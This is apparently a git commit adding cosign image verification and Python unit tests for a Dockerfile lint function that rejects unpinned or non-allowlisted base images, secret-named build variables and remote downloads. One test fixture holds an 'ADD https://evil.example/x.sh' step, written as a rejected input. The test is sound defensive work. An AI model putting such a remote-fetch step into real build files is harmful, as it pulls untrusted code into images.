feat: secure build phase 1 — cosign cell-side image verification (warn default) + Dockerfile validation
Unit Tests / test (push) Successful in 13m28s

- config/cosign/cosign.pub: public verification key committed to repo (safe);
  cosign private key lives in /home/roof/.pic-secrets/ and is NEVER committed
- api/config_manager.py: image_verification config block (modes: off|warn|enforce,
  default: warn) so existing deployments are unaffected until images are signed
- api/service_composer.py: cosign verify before pull/up; enforce aborts the
  operation, warn logs and proceeds, off skips entirely; also fixes the prior
  unsafe proceed-on-pull-failure path
- api/service_store_manager.py: store-image digest requirement (warn default,
  reject under enforce)
- api/Dockerfile: cosign binary copied from the official cosign image
- docker-compose.yml: config/cosign/ bind-mounted into cell-api container
- install.sh: ensure/verify bundled cosign pubkey on new cell installs
- api/manifest_validator.py: validate_build_context() — Dockerfile lint
- tests: full coverage for config modes, composer verify paths, store digest
  guard, and validate_build_context

Verification defaults to warn so nothing breaks in production until images are
signed (phase 2). Private key stored outside git at /home/roof/.pic-secrets/.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
2026-06-11 03:53:47 -04:00
parent 8d904b1b8f
commit 238db60702
12 changed files with 622 additions and 2 deletions
+96
View File
@@ -22,8 +22,13 @@ from manifest_validator import (
validate_manifest,
validate_rendered_compose,
validate_provision_hook,
validate_build_context,
BUILD_CONTEXT_MAX_FILES,
BUILD_CONTEXT_MAX_BYTES,
)
_ALPINE_PINNED = 'alpine@sha256:' + 'b' * 64
# ---------------------------------------------------------------------------
# Helpers
@@ -1646,5 +1651,96 @@ class TestWriteComposeValidation(unittest.TestCase):
self.assertIn('security validation', str(ctx.exception))
class TestValidateBuildContext(unittest.TestCase):
"""Static Dockerfile lint (defense-in-depth)."""
def test_allowlisted_pinned_base_ok(self):
df = f'FROM {_ALPINE_PINNED}\nRUN echo hi\n'
ok, errs = validate_build_context(df)
self.assertTrue(ok, errs)
def test_unpinned_base_rejected(self):
ok, errs = validate_build_context('FROM alpine:3.19\n')
self.assertFalse(ok)
self.assertTrue(any('digest-pinned' in e for e in errs))
def test_non_allowlisted_base_rejected(self):
df = 'FROM evil/image@sha256:' + 'c' * 64 + '\n'
ok, errs = validate_build_context(df)
self.assertFalse(ok)
self.assertTrue(any('allowlist' in e for e in errs))
def test_from_scratch_rejected(self):
ok, errs = validate_build_context('FROM scratch\n')
self.assertFalse(ok)
self.assertTrue(any('scratch' in e for e in errs))
def test_multistage_alias_reference_ok(self):
df = (
f'FROM {_ALPINE_PINNED} AS builder\n'
'RUN echo build\n'
'FROM builder\n'
'RUN echo final\n'
)
ok, errs = validate_build_context(df)
self.assertTrue(ok, errs)
def test_add_remote_url_rejected(self):
df = f'FROM {_ALPINE_PINNED}\nADD https://evil.example/x.sh /x.sh\n'
ok, errs = validate_build_context(df)
self.assertFalse(ok)
self.assertTrue(any('remote URL' in e for e in errs))
def test_add_local_path_ok(self):
df = f'FROM {_ALPINE_PINNED}\nADD ./local.tar /opt/\n'
ok, errs = validate_build_context(df)
self.assertTrue(ok, errs)
def test_secret_named_arg_rejected(self):
df = f'FROM {_ALPINE_PINNED}\nARG GITHUB_TOKEN\n'
ok, errs = validate_build_context(df)
self.assertFalse(ok)
self.assertTrue(any('ARG' in e for e in errs))
def test_secret_named_env_rejected(self):
df = f'FROM {_ALPINE_PINNED}\nENV API_SECRET=abc\n'
ok, errs = validate_build_context(df)
self.assertFalse(ok)
self.assertTrue(any('ENV' in e for e in errs))
def test_benign_arg_env_ok(self):
df = f'FROM {_ALPINE_PINNED}\nARG VERSION=1.0\nENV TZ=UTC\n'
ok, errs = validate_build_context(df)
self.assertTrue(ok, errs)
def test_no_from_rejected(self):
ok, errs = validate_build_context('RUN echo hi\n')
self.assertFalse(ok)
def test_empty_dockerfile_rejected(self):
ok, errs = validate_build_context('')
self.assertFalse(ok)
def test_oversized_context_rejected(self):
df = f'FROM {_ALPINE_PINNED}\n'
files = [('big.bin', BUILD_CONTEXT_MAX_BYTES + 1)]
ok, errs = validate_build_context(df, context_files=files)
self.assertFalse(ok)
self.assertTrue(any('too large' in e for e in errs))
def test_too_many_files_rejected(self):
df = f'FROM {_ALPINE_PINNED}\n'
files = [(f'f{i}', 1) for i in range(BUILD_CONTEXT_MAX_FILES + 1)]
ok, errs = validate_build_context(df, context_files=files)
self.assertFalse(ok)
self.assertTrue(any('too many files' in e for e in errs))
def test_small_context_ok(self):
df = f'FROM {_ALPINE_PINNED}\n'
files = [('Dockerfile', 100), ('entrypoint.sh', 500)]
ok, errs = validate_build_context(df, context_files=files)
self.assertTrue(ok, errs)
if __name__ == '__main__':
unittest.main()